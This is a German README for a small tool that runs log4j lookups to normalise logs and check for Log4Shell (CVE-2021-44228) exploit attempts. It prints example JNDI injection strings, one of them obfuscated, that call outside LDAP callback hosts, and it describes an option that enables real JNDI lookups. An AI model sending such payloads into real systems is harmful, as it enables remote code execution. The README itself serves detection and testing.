
Einige Tools zur Abschwächung von Apache Log4j 2 CVE-2021-44228
Ein Tool zur Unterstützung bei der Analyse von Apache Log4j 2 CVE-2021-44228
Dieses Tool nutzt die „Lookup“-Funktion von log4j-2, um gegen die JNDI-Schwachstelle zu testen. Das Ziel ist es, die Lookup-Funktion einfach auszuführen (z. B. um Logs zu normalisieren oder um einen echten Test mit einem Payload durchzuführen – bitte sei vorsichtig).
Zum Bauen: „make“ (der Einfachheit halber ist die Datei JndiLookup.jar in diesem Git enthalten).
Nach dem Bauen kannst du das Tool mit „java -jar JndiLookup.jar“ ausführen (das log4j-Verzeichnis mit den log4j-Binaries muss sich im selben Pfad wie die JndiLookup.jar befinden).
Ohne Argument liest das JndiLookup-Tool Zeilen von stdin und „konvertiert“ sie mithilfe der log4j-Lookup-Funktion – das ist nützlich, um Logs zu normalisieren und nach Exploit-Versuchen zu suchen.
Zum Beispiel: cat access.log | java -jar JndiLookup.jar
Wenn du eine Zeichenkette an die Kommandozeile übergibst, konvertiert das Tool diese Zeichenkette und beendet sich (bitte maskiere alle „$“-Zeichen).
Zum Beispiel: java -jar JndiLookup.jar java -jar JndiLookup.jar "\${jndi:\${lower:l}\${lower:d}a\${lower:p}://world443.log4j.bin\${upper:a}ryedge.io:80/callback}"
Standardmäßig ist das JNDI-Lookup deaktiviert (und durch eine Lookup-Funktion ersetzt, die lediglich „jndi:“ hinzufügt). Es ist jedoch möglich, das echte JNDI-Lookup zu aktivieren, indem der Parameter „-X“ an JndiLookup übergeben wird („-X“ muss als erster Parameter übergeben werden). SEI BITTE VORSICHTIG, da dies dazu führen kann, dass dein System kompromittiert wird.
Zum Beispiel: java -jar JndiLookup.jar -X "\${jndi:ldap://w8pcb14reujq65vic39pz9amv.canarytokens.com/a}" [ Dieses Beispiel verwendet eines meiner Canary-Tokens; es dient nur zur Veranschaulichung. Bitte beachte, dass ich benachrichtigt werde, wenn du diesen Befehl ausführst – von meiner Seite aus kein Problem, aber ich erhalte die IP, von der die DNS-Anfrage stammt. ]
Die folgenden Lookups sind in den verwendeten log4j-Binaries aktiviert (2.15.0 für den Standardgebrauch, 2.14.1 für die Nutzung mit JNDI):
Weitere Lookups könnten je nach Umgebung verfügbar sein:
[ Weitere Details zur Aktivierung von Lookup-Plugins findest du unter https://github.com/apache/logging-log4j2/blob/c30a1398a6697fb832c650870c44284d0052103e/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java ]
Bitte beachte, dass dieses Tool den echten Code der log4j-Lookup-Funktion verwendet und aufgrund anderer (Nicht-JNDI-)Sicherheitsprobleme verwundbar sein könnte.